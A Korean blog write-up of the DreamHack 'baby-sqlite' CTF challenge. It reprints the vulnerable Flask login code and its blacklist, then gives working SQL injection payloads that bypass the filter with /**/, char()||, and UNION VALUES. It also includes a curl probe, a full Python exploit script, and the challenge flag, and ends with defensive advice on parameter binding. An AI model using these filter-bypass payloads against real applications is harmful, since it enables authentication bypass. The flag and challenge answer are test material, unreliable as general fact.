[๐Ÿฅˆ Silver 3] level ํŒŒ๋ผ๋ฏธํ„ฐ ํ•˜๋‚˜๋กœ ๋šซ๋Š” SQLi โ€” DreamHack baby-sqlite ํ’€์ด

2026-07-13ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 3] level ํŒŒ๋ผ๋ฏธํ„ฐ ํ•˜๋‚˜๋กœ ๋šซ๋Š” SQLi โ€” DreamHack baby-sqlite ํ’€์ด

uidยทupw ๋Š” ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ ๋ง‰์•˜์ง€๋งŒ level ์€ ์ˆซ์ž ์ปจํ…์ŠคํŠธ๋ผ ๋”ฐ์˜ดํ‘œ ์—†์ด ์ฃผ์ž…๋œ๋‹ค. ๊ณต๋ฐฑยท์ฝค๋งˆยทadminยทselectยท๋”ฐ์˜ดํ‘œ๋ฅผ ์ „๋ถ€ ๊ฑฐ๋ฅด๋Š” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋ฅผ /**/ยทchar()||ยทVALUES ๋กœ ์šฐํšŒํ•ด UNION ์œผ๋กœ admin ํ–‰์„ ์œ„์กฐ, ๋กœ๊ทธ์ธ ์—†์ด FLAG ๋ฅผ ๋ฐ›์•„๋‚ธ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” baby-sqlite ๋ถ„๋ฅ˜: Web (SQL Injection) ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 3 FLAG: DH{sql-lite-cass-lite}

๋กœ๊ทธ์ธ ํผ ํ•˜๋‚˜์งœ๋ฆฌ ๋ฌธ์ œ๋‹ค. ๊ฒ‰์œผ๋กœ๋Š” ์•„์ด๋””ยท๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ ๋ฐ›๋Š”๋ฐ, ์„œ๋ฒ„๋Š” ๋ชฐ๋ž˜ level ์ด๋ผ๋Š” ์„ธ ๋ฒˆ์งธ ๊ฐ’์„ ํ•จ๊ป˜ ์ฟผ๋ฆฌ์— ๋„ฃ๋Š”๋‹ค. ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ๊ฝค ์ด˜์ด˜ํ•ด์„œ ํ”ํžˆ ์“ฐ๋Š” ' or 1=1 -- ๋Š” ์ฒซ ๊ธ€์ž๋ถ€ํ„ฐ ๋ง‰ํžŒ๋‹ค. ๊ฒฐ๊ตญ ํ•„ํ„ฐ๊ฐ€ ๋†“์นœ ๋ฌธ๋ฒ• ์กฐ๊ฐ๋“ค์„ ์ด์–ด ๋ถ™์—ฌ admin ํ–‰ ์ž์ฒด๋ฅผ ๋งŒ๋“ค์–ด๋‚ด๋Š” ๊ฒŒ ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” Baby-SQLite
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” Baby-SQLite

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…baby-sqlite
๋‚œ์ด๋„๐Ÿฅˆ Silver 3
๋ถ„๋ฅ˜Web ยท SQL Injection
์ŠคํƒPython Flask + SQLite3, ์„œ๋ฒ„์ธก ๋ฌธ์ž์—ด ์กฐ๋ฆฝ ์ฟผ๋ฆฌ
์ œ๊ณตapp.py ์†Œ์Šค + ๋ผ์ด๋ธŒ ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ ๋”ฐ์˜ดํ‘œ ์—†๋Š” ์ˆซ์ž ์ปฌ๋Ÿผ level ์— f-string SQLi + ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ

ํ’€์ด ํ๋ฆ„์€ ์งง๋‹ค. ์†Œ์Šค์—์„œ ์ฃผ์ž…์ ์ด level ๋ฟ์ž„์„ ํ™•์ธํ•˜๊ณ , ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ๋ง‰๋Š” ๊ฒƒ๊ณผ ์•ˆ ๋ง‰๋Š” ๊ฒƒ์„ ๋‚˜๋ˆ ๋ณธ ๋‹ค์Œ, ๋‚จ์€ ์กฐ๊ฐ(/**/, union, values, char(), ||)์œผ๋กœ admin ํ–‰์„ ์œ„์กฐํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์กฐ๋ฆฝํ•œ๋‹ค.



๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” app.py

์ œ๊ณต๋œ ์†Œ์Šค๋Š” ํ•œ ํŒŒ์ผ๋ฟ์ด๊ณ , ๋กœ๊ทธ์ธ ๋ผ์šฐํŠธ๊ฐ€ ์ „๋ถ€๋‹ค.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
 
    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()
 
    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r',
                   '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:  return 'No Hack!'
        if upw.find(x) != -1:  return 'No Hack!'
        if level.find(x) != -1: return 'No Hack!'
 
    with app.app_context():
        conn = get_db()
        query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
        try:
            req = conn.execute(query)
            result = req.fetchone()
            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except:
            return 'Error!'
    return 'Good!'

์„ธ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ f-string ์ฟผ๋ฆฌ์— ๋“ค์–ด๊ฐ„๋‹ค. ์—ฌ๊ธฐ์„œ ๋ˆˆ์—ฌ๊ฒจ๋ณผ ์ง€์ ์ด ๋‘ ๊ฐœ๋‹ค.

์ฒซ์งธ, ์ฃผ์ž…์ ์€ level ํ•˜๋‚˜๋ฟ์ด๋‹ค. uid ์™€ upw ๋Š” uid='{uid}' ์ฒ˜๋Ÿผ ์ž‘์€๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ์ ธ ์žˆ๋Š”๋ฐ, ํ•„ํ„ฐ๊ฐ€ ' ์™€ " ๋ฅผ ๋‘˜ ๋‹ค ๋ง‰๋Š”๋‹ค. ๋”ฐ์˜ดํ‘œ๋ฅผ ๋ชป ๋„ฃ์œผ๋ฉด ๋ฌธ์ž์—ด ๋ฆฌํ„ฐ๋Ÿด ๋ฐ–์œผ๋กœ ๋น ์ ธ๋‚˜์˜ฌ ์ˆ˜ ์—†์œผ๋‹ˆ ์ด ๋‘˜์€ ์ฃผ์ž…์ด ์•ˆ ๋œ๋‹ค. ๋ฐ˜๋ฉด level ์€ and level={level} โ€” ๋”ฐ์˜ดํ‘œ ์—†์ด ์ˆซ์ž ์ž๋ฆฌ์— ๋ฐ”๋กœ ๋ถ™๋Š”๋‹ค. ์—ฌ๊ธฐ๋Š” ๋”ฐ์˜ดํ‘œ๊ฐ€ ์• ์ดˆ์— ํ•„์š” ์—†๋‹ค.

๋‘˜์งธ, ์„ฑ๊ณต ์กฐ๊ฑด์€ "๋กœ๊ทธ์ธ"์ด ์•„๋‹ˆ๋ผ "๊ฒฐ๊ณผ ์ฒซ ์ปฌ๋Ÿผ์ด admin"์ด๋‹ค. result[0] == 'admin' ์ด์–ด์•ผ FLAG ๋ฅผ ์ค€๋‹ค.

๊ทธ๋Ÿฐ๋ฐ DB ์ดˆ๊ธฐํ™” ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ๋”ฑ ํ•˜๋‚˜๋‹ค.

conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")

admin ์ด๋ผ๋Š” ํ–‰์€ ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ "admin ์œผ๋กœ ๋กœ๊ทธ์ธ"์ด ์•„๋‹ˆ๋ผ, ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์— admin ์ด๋ผ๋Š” ๊ฐ’์„ ์ง์ ‘ ๋งŒ๋“ค์–ด ๋ผ์›Œ ๋„ฃ์–ด์•ผ ํ•œ๋‹ค. UNION ์„ ๋– ์˜ฌ๋ฆด ์ˆ˜๋ฐ–์— ์—†๋Š” ๊ตฌ์กฐ๋‹ค.

๋จผ์ € ์ •์ƒ ๋™์ž‘๋ถ€ํ„ฐ ํ™•์ธํ–ˆ๋‹ค. ํผ์—๋Š” uidยทupw ์นธ๋งŒ ์žˆ๊ณ  level ์€ ์—†๋‹ค โ€” ์„œ๋ฒ„๊ฐ€ ๊ธฐ๋ณธ๊ฐ’ '9' ๋กœ ์ฑ„์šด๋‹ค.

๋กœ๊ทธ์ธ ํผ โ€” uidยทupw ๋งŒ ์žˆ๊ณ  level ์€ ํผ์— ์—†๋‹ค
๋กœ๊ทธ์ธ ํผ โ€” uidยทupw ๋งŒ ์žˆ๊ณ  level ์€ ํผ์— ์—†๋‹ค

dream / cometrue ๋ฅผ ๋„ฃ์œผ๋ฉด dream ํ–‰์ด ๋งค์นญ๋˜์ง€๋งŒ result[0] ์ด dream ์ด๋ผ FLAG ์กฐ๊ฑด์—๋Š” ๋ชป ๋ฏธ์น˜๊ณ  Good! ๋งŒ ๋œฌ๋‹ค.

dream / cometrue ์ž…๋ ฅ
dream / cometrue ์ž…๋ ฅ
์ •์ƒ ๋งค์นญ โ†’ Good!
์ •์ƒ ๋งค์นญ โ†’ Good!

๐Ÿงฑ ๋ฐฐ๊ฒฝ โ€” SQLite ์˜ ๋ฌธ๋ฒ• ์กฐ๊ฐ๋“ค

์ด ๋ฌธ์ œ๋Š” SQLite ์˜ ๋ช‡ ๊ฐ€์ง€ ์„ฑ์งˆ์„ ์•Œ๋ฉด ํ’€๋ฆฐ๋‹ค.

  • ์ฃผ์„ /**/ ์€ ๊ณต๋ฐฑ์ฒ˜๋Ÿผ ์“ฐ์ธ๋‹ค. ํ† ํฐ ์‚ฌ์ด ์•„๋ฌด ๋ฐ๋‚˜ ๋„ฃ์„ ์ˆ˜ ์žˆ์–ด์„œ, ๊ณต๋ฐฑ์ด ๋ง‰ํ˜”์„ ๋•Œ ๋‹จ์–ด ๊ตฌ๋ถ„์ž๋กœ ๊ทธ๋Œ€๋กœ ๋Œ€์ฒด๋œ๋‹ค.
  • char(N) ์€ ์ฝ”๋“œํฌ์ธํŠธ๋ฅผ ๊ธ€์ž๋กœ ๋ฐ”๊พผ๋‹ค. char(97) โ†’ 'a'. ๋”ฐ์˜ดํ‘œ ์—†์ด ๋ฌธ์ž์—ด ํ•œ ๊ธ€์ž๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.
  • || ๋Š” ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ ์—ฐ์‚ฐ์ž๋‹ค. char(97)||char(100) โ†’ 'ad'. ์ฝค๋งˆ ์—†์ด ์—ฌ๋Ÿฌ ๊ธ€์ž๋ฅผ ์ด์–ด ๋ถ™์ผ ์ˆ˜ ์žˆ๋‹ค.
  • VALUES(...) ๋Š” ๊ทธ ์ž์ฒด๋กœ ํ•œ ํ–‰์„ ๋งŒ๋“œ๋Š” ๊ตฌ๋ฌธ์ด๋‹ค. SELECT ... UNION VALUES('x') ์ฒ˜๋Ÿผ SELECT ์—†์ด๋„ UNION ์˜ ์˜ค๋ฅธ์ชฝ์— ์˜ฌ ์ˆ˜ ์žˆ๋‹ค. ์ฆ‰ select ํ‚ค์›Œ๋“œ ์—†์ด ์ž„์˜์˜ ํ–‰์„ ๋ถ™์ผ ์ˆ˜ ์žˆ๋‹ค.

์ด ๋„ค ๊ฐ€์ง€๊ฐ€ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋ฅผ ์ •ํ™•ํžˆ ๋น„๊ปด๊ฐ„๋‹ค. ํ•„ํ„ฐ๋Š” select ๋Š” ๋ง‰์ง€๋งŒ unionยทvaluesยทchar ๋Š” ์‹ ๊ฒฝ ์“ฐ์ง€ ์•Š๊ณ , , ๋Š” ๋ง‰์ง€๋งŒ || ๋Š” ๋†”๋‘”๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ํ•˜๋‚˜์”ฉ ๊ฑธ๋ฆฌ๋Š” ๊ณผ์ •

๊ณง์žฅ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋‚˜์˜จ ๊ฑด ์•„๋‹ˆ๊ณ , ํ”ํ•œ ๊ฒƒ๋ถ€ํ„ฐ ๋„ฃ์–ด๋ณด๋ฉฐ ๋ฌด์—‡์ด ๋ง‰ํžˆ๋Š”์ง€ ์ง€๋„๋ฅผ ๊ทธ๋ ธ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” admin ๊ณผ ๊ณต๋ฐฑ์€ ์ฆ‰์‹œ ์ฐจ๋‹จ

๊ฐ€์žฅ ๋จผ์ € uid=admin ์„ ์‹œ๋„ํ–ˆ๋‹ค. admin ์ด ํ†ต์งธ๋กœ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ์žˆ์œผ๋‹ˆ ์ฟผ๋ฆฌ๋Š” ์‹คํ–‰๋˜์ง€๋„ ์•Š๊ณ  No Hack! ์ด๋‹ค.

uid=admin โ†’ No Hack!
uid=admin โ†’ No Hack!

level=1 or 1=1 ๊ฐ™์€ ๊ณ ์ „ ํŽ˜์ด๋กœ๋“œ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋‹ค. or ์•ž๋’ค ๊ณต๋ฐฑ์ด ํ•„ํ„ฐ์— ๊ฑธ๋ฆฐ๋‹ค. ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ์ŠคํŽ˜์ด์Šค(' ')๊ฐ€ ๋ช…์‹œ์ ์œผ๋กœ ๋“ค์–ด ์žˆ์–ด์„œ, ๊ณต๋ฐฑ์„ ์“ฐ๋Š” ์ˆœ๊ฐ„ ๋์ด๋‹ค. ๊ทธ๋ž˜์„œ ์ดํ›„ ๋ชจ๋“  ํŽ˜์ด๋กœ๋“œ์—์„œ ๊ณต๋ฐฑ์€ /**/ ๋กœ ๋ฐ”๊ฟ” ์“ฐ๊ธฐ๋กœ ํ–ˆ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” UNION SELECT ๋„, char ์ฝค๋งˆ๋„ ๋ง‰ํžŒ๋‹ค

์ฃผ์ž…์ ์ด level ์ด๊ณ  admin ํ–‰์„ ์œ„์กฐํ•ด์•ผ ํ•˜๋‹ˆ ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ union select 'admin' ์„ ๋– ์˜ฌ๋ ธ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ด๊ฑด ์ง€๋ขฐ๋ฐญ์ด๋‹ค.

  • select โ†’ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ
  • 'admin' ์˜ ' โ†’ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ, admin ๋ฌธ์ž์—ด๋„ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ
  • ๋‹จ์–ด ์‚ฌ์ด ๊ณต๋ฐฑ โ†’ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ

๋”ฐ์˜ดํ‘œ ์—†์ด ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค๋ ค๊ณ  char(97,100,109,105,110) ๋„ ์ƒ๊ฐํ–ˆ์ง€๋งŒ, ์ธ์ž ๊ตฌ๋ถ„์ž์ธ ์ฝค๋งˆ(,)๊ฐ€ ๋ง‰ํ˜€ ์žˆ๋‹ค. char() ์ž์ฒด๋Š” ๋˜๋Š”๋ฐ ํ•œ ๋ฒˆ์— ํ•œ ๊ธ€์ž๋ฐ–์— ๋ชป ๋„ฃ๋Š”๋‹ค๋Š” ๋œป์ด๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ๋‚จ์€ ์žฌ๋ฃŒ๋Š” ์ด๋ ‡๋‹ค.

๋ง‰๋Š” ๊ฒƒ๋†”๋‘๋Š” ๋Œ€์ฒด
๊ณต๋ฐฑ/**/
selectunion values(...)
, (char ์ธ์ž)`
'admin'`char(97)


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” UNION VALUES ๋กœ admin ํ–‰ ์œ„์กฐ

์žฌ๋ฃŒ๊ฐ€ ๋‹ค ๋ชจ์ด๋ฉด ์กฐ๋ฆฝ์€ ๊ธฐ๊ณ„์ ์ด๋‹ค. select ๋ฅผ ๋ชป ์“ฐ๋‹ˆ UNION ์˜ค๋ฅธ์ชฝ์„ VALUES(...) ๋กœ ์ฑ„์šฐ๊ณ , ๊ทธ ์•ˆ์— char()||... ๋กœ ๋งŒ๋“  'admin' ์„ ๋„ฃ๋Š”๋‹ค. ๊ณต๋ฐฑ์€ ์ „๋ถ€ /**/.

level = 9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))

์ด๊ฒŒ ์ฟผ๋ฆฌ์— ๋ผ๋ฉด ์ตœ์ข… SQL ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

SELECT uid FROM users
WHERE uid='x' and upw='x' and level=9
UNION VALUES('admin');

์™ผ์ชฝ SELECT ๋Š” uid='x' ์ธ ์‚ฌ์šฉ์ž๊ฐ€ ์—†์œผ๋‹ˆ 0ํ–‰์ด๋‹ค. ์˜ค๋ฅธ์ชฝ VALUES('admin') ์ด ('admin') ํ•œ ํ–‰์„ ๋งŒ๋“ค์–ด ๋ถ™์ธ๋‹ค. ํ•ฉ์น˜๋ฉด ๊ฒฐ๊ณผ ์ง‘ํ•ฉ์—๋Š” admin ํ–‰ ํ•˜๋‚˜๋งŒ ๋‚จ๊ณ , fetchone() ์ด ๊ทธ๊ฑธ ์ง‘์–ด result[0] == 'admin' ์ด ์„ฑ๋ฆฝํ•œ๋‹ค. FLAG ์กฐ๊ฑด ํ†ต๊ณผ๋‹ค.

ํ•„ํ„ฐ๊ฐ€ ๋ง‰๋Š” ๊ฒƒ๊ณผ ์šฐํšŒ ๋งคํ•‘ โ€” ์ตœ์ข… ํŽ˜์ด๋กœ๋“œ๊นŒ์ง€
ํ•„ํ„ฐ๊ฐ€ ๋ง‰๋Š” ๊ฒƒ๊ณผ ์šฐํšŒ ๋งคํ•‘ โ€” ์ตœ์ข… ํŽ˜์ด๋กœ๋“œ๊นŒ์ง€

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ์˜ ํ•ต์‹ฌ์€ "๊ธˆ์ง€์–ด๋ฅผ ์•ˆ ์“ฐ๊ณ  ๊ฐ™์€ ์˜๋ฏธ๋ฅผ ํ‘œํ˜„"ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. union ์„ ์•ˆ ๋ง‰์€ ๊ฒƒ, charยทvaluesยท|| ๋ฅผ ๋†“์นœ ๊ฒƒ, ์ด ์„ธ ๊ตฌ๋ฉ์ด ๊ฒน์ณ์„œ ๋šซ๋ฆฐ๋‹ค. ํ•˜๋‚˜๋ผ๋„ ๋ง‰์•˜์œผ๋ฉด ํ›จ์”ฌ ์„ฑ๊ฐ€์…จ์„ ๋ฌธ์ œ๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” curl ๋กœ ๋Œ€์กฐ

ํ•„ํ„ฐ๊ฐ€ ์‹ค์ œ๋กœ ๋ฌด์—‡์„ ๋ง‰๊ณ  ๋ฌด์—‡์„ ํ†ต๊ณผ์‹œํ‚ค๋Š”์ง€ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๊ทธ๋Œ€๋กœ ํ™•์ธํ–ˆ๋‹ค. ์ •์ƒ ๋กœ๊ทธ์ธ, ์ฐจ๋‹จ๋˜๋Š” ๋‘ ์ผ€์ด์Šค, ๊ทธ๋ฆฌ๊ณ  ์šฐํšŒ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ•œ ๋ฒˆ์— ๋น„๊ตํ•œ๋‹ค.

# probe.sh โ€” /login ํ•„ํ„ฐยท์šฐํšŒ ๋Œ€์กฐ
U="http://host3.dreamhack.games:21964/login"
curl -s "$U" --data-urlencode uid=dream --data-urlencode upw=cometrue --data-urlencode level=9      # ์ •์ƒ
curl -s "$U" --data-urlencode uid=admin --data-urlencode upw=x        --data-urlencode level=9      # admin ์ฐจ๋‹จ
curl -s "$U" --data-urlencode uid=x     --data-urlencode upw=x        --data-urlencode 'level=1 or 1=1'  # ๊ณต๋ฐฑ ์ฐจ๋‹จ
curl -s "$U" --data-urlencode uid=x     --data-urlencode upw=x \
     --data-urlencode 'level=9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))'  # ์šฐํšŒ
curl ๋กœ ํ•„ํ„ฐ ๋Œ€์กฐ โ€” ์ •์ƒ Good!, adminยท๊ณต๋ฐฑ No Hack!, ์šฐํšŒ ํŽ˜์ด๋กœ๋“œ๋Š” FLAG
curl ๋กœ ํ•„ํ„ฐ ๋Œ€์กฐ โ€” ์ •์ƒ Good!, adminยท๊ณต๋ฐฑ No Hack!, ์šฐํšŒ ํŽ˜์ด๋กœ๋“œ๋Š” FLAG

admin ๊ณผ ๊ณต๋ฐฑ์€ No Hack! ๋กœ ๋ง‰ํžˆ๋Š”๋ฐ, ๊ฐ™์€ ์˜๋ฏธ๋ฅผ /**/ยทchar()||ยทvalues ๋กœ ํ‘œํ˜„ํ•œ ๋งˆ์ง€๋ง‰ ํŽ˜์ด๋กœ๋“œ๋งŒ ํ•„ํ„ฐ๋ฅผ ํ†ต๊ณผํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฑ‰๋Š”๋‹ค.

๋ธŒ๋ผ์šฐ์ €์—์„œ๋„ ์žฌํ˜„ํ–ˆ๋‹ค. ํผ์—๋Š” level ์นธ์ด ์—†์œผ๋‹ˆ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ๋กœ level ์ž…๋ ฅ์„ ํ•˜๋‚˜ ๋ผ์›Œ ๋„ฃ๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฑ„์šด ๋’ค ์ œ์ถœํ–ˆ๋‹ค.

ํผ์— level ํ•„๋“œ๋ฅผ ์ถ”๊ฐ€ํ•ด ํŽ˜์ด๋กœ๋“œ ์ฃผ์ž…
ํผ์— level ํ•„๋“œ๋ฅผ ์ถ”๊ฐ€ํ•ด ํŽ˜์ด๋กœ๋“œ ์ฃผ์ž…
์‘๋‹ต์— FLAG ์ถœ๋ ฅ
์‘๋‹ต์— FLAG ์ถœ๋ ฅ

๐Ÿš€ Full Exploit

ํŽ˜์ด๋กœ๋“œ๋Š” ์งง์ง€๋งŒ, admin ๋ฌธ์ž์—ด์„ char() ๋กœ ์กฐ๋ฆฝํ•˜๋Š” ๋ถ€๋ถ„๋งŒ ์ฝ”๋“œ๋กœ ๋ฝ‘์•„ ๋‘๋ฉด ์žฌ์‚ฌ์šฉ์ด ํŽธํ•˜๋‹ค.

#!/usr/bin/env python3
# baby-sqlite โ€” SQLi UNION VALUES ํ•„ํ„ฐ ์šฐํšŒ
import sys
import requests
 
URL = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:21964/login"
 
# 'admin' ์„ char() + || ๋กœ ์กฐ๋ฆฝ (์ฝค๋งˆ ๊ธˆ์ง€๋ผ char(97,100,..) ๋ถˆ๊ฐ€)
admin = "||".join(f"char({c})" for c in b"admin")   # char(97)||char(100)||...
payload = f"9/**/union/**/values({admin})"
 
print(f"[*] target : {URL}")
print(f"[*] level  : {payload}")
 
r = requests.post(URL, data={"uid": "x", "upw": "x", "level": payload}, timeout=15)
body = r.text.strip()
print(f"[*] resp   : {body}")
 
if body.startswith("DH{"):
    print(f"\n[+] FLAG: {body}")
else:
    print("\n[-] ์‹คํŒจ โ€” ์„œ๋ฒ„ ์ƒํƒœ/URL ํ™•์ธ")

์‹คํ–‰ํ•˜๋ฉด ์กฐ๋ฆฝ๋œ ํŽ˜์ด๋กœ๋“œ์™€ ์„œ๋ฒ„ ์‘๋‹ต์ด ๊ทธ๋Œ€๋กœ ์ฐํžŒ๋‹ค.

solve.py ์‹คํ–‰ โ€” ์กฐ๋ฆฝ๋œ ํŽ˜์ด๋กœ๋“œ์™€ FLAG
solve.py ์‹คํ–‰ โ€” ์กฐ๋ฆฝ๋œ ํŽ˜์ด๋กœ๋“œ์™€ FLAG
[*] target : http://host3.dreamhack.games:21964/login
[*] level  : 9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))
[*] resp   : DH{sql-lite-cass-lite}
 
[+] FLAG: DH{sql-lite-cass-lite}


๐Ÿ“ ๊ฒฐ๋ก 

์ฃผ์ž…์ ์€ ๋”ฐ์˜ดํ‘œ ์œ ๋ฌด๋กœ ๊ฐˆ๋ฆฐ๋‹ค.

๊ฐ™์€ ์ฟผ๋ฆฌ ์•ˆ์—์„œ๋„ uid='{uid}' ๋Š” ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ ํ•„ํ„ฐ ' ํ•˜๋‚˜๋กœ ๋ง‰ํžˆ์ง€๋งŒ, level={level} ์€ ์ˆซ์ž ์ž๋ฆฌ๋ผ ๋”ฐ์˜ดํ‘œ๊ฐ€ ํ•„์š” ์—†์–ด ๊ทธ๋Œ€๋กœ ๋šซ๋ฆฐ๋‹ค. ๋ฌธ์ž์—ด ๊ฐ’๋งŒ ์‹ ๊ฒฝ ์“ฐ๊ณ  ์ˆซ์ž ์ปฌ๋Ÿผ์„ ๋ฐฉ์น˜ํ•˜๋Š” ๊ฑด ํ”ํ•œ ์‹ค์ˆ˜๋‹ค. ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ˆซ์ž๋“  ๋ฌธ์ž๋“  ์˜ˆ์™ธ ์—†์ด ํŒŒ๋ผ๋ฏธํ„ฐ ๋ฐ”์ธ๋”ฉ(placeholder) ์œผ๋กœ ๋„˜๊ฒจ์•ผ ํ•œ๋‹ค. conn.execute("... and level=?", (level,)) ์˜€๋‹ค๋ฉด ์ด ๋ฌธ์ œ๋Š” ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค.

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋Š” "๊ธˆ์ง€์–ด๋ฅผ ์•ˆ ์“ฐ๋Š” ํ‘œํ˜„"์— ์•ฝํ•˜๋‹ค.

select ๋ฅผ ๋ง‰์•„๋„ VALUES ๊ฐ€ ์žˆ๊ณ , ๊ณต๋ฐฑ์„ ๋ง‰์•„๋„ /**/ ๊ฐ€ ์žˆ๊ณ , ์ฝค๋งˆ๋ฅผ ๋ง‰์•„๋„ || ๊ฐ€ ์žˆ๋‹ค. SQL ๋ฌธ๋ฒ•์€ ๊ฐ™์€ ๋œป์„ ์—ฌ๋Ÿฌ ๋ฐฉ์‹์œผ๋กœ ์“ธ ์ˆ˜ ์žˆ์–ด์„œ, ํ‚ค์›Œ๋“œยท๋ฌธ์ž ๋‹จ์œ„๋กœ ๊ฑฐ๋ฅด๋Š” ๋ฐฉ์–ด๋Š” ์–ธ์ œ๋‚˜ ์šฐํšŒ๋กœ๊ฐ€ ๋‚จ๋Š”๋‹ค. ์ž…๋ ฅ์„ ๊ฑฐ๋ฅด๋Š” ๋ฐฉํ–ฅ์ด ์•„๋‹ˆ๋ผ ์ฟผ๋ฆฌ์™€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฌธ๋ฒ•์ ์œผ๋กœ ๋ถ„๋ฆฌํ•˜๋Š” ๋ฐฉํ–ฅ์ด ์ •๋‹ต์ด๋‹ค.

์„ฑ๊ณต ์กฐ๊ฑด๋„ ๋‹ค์‹œ ๋ณธ๋‹ค.

์ด ๋ฌธ์ œ๋Š” "admin ์œผ๋กœ ๋กœ๊ทธ์ธ"์ด ์•„๋‹ˆ๋ผ "๊ฒฐ๊ณผ ์ฒซ ์ปฌ๋Ÿผ์ด admin"์ด์—ˆ๊ณ , DB ์— admin ํ–‰์ด ์•„์˜ˆ ์—†์—ˆ๋‹ค. ์ธ์ฆ ์šฐํšŒ๋ฅผ ๋…ธ๋ฆด ๋•Œ ๋Œ€์ƒ ๊ณ„์ •์ด ์‹ค์ œ๋กœ ์กด์žฌํ•˜๋Š”์ง€, ์•„๋‹ˆ๋ฉด ๊ฒฐ๊ณผ ์ž์ฒด๋ฅผ ์œ„์กฐํ•˜๋Š” ๋ฌธ์ œ์ธ์ง€ ๋จผ์ € ํ™•์ธํ•˜๋ฉด ํ—›๋‹ค๋ฆฌ๋ฅผ ๋œ ์งš๋Š”๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] ๋”ฐ์˜ดํ‘œ ํ•˜๋‚˜๋กœ admin ํ–‰๋งŒ ์ฝ• ์ง‘๊ธฐ โ€” DreamHack simple_sqli ํ’€์ด
blog

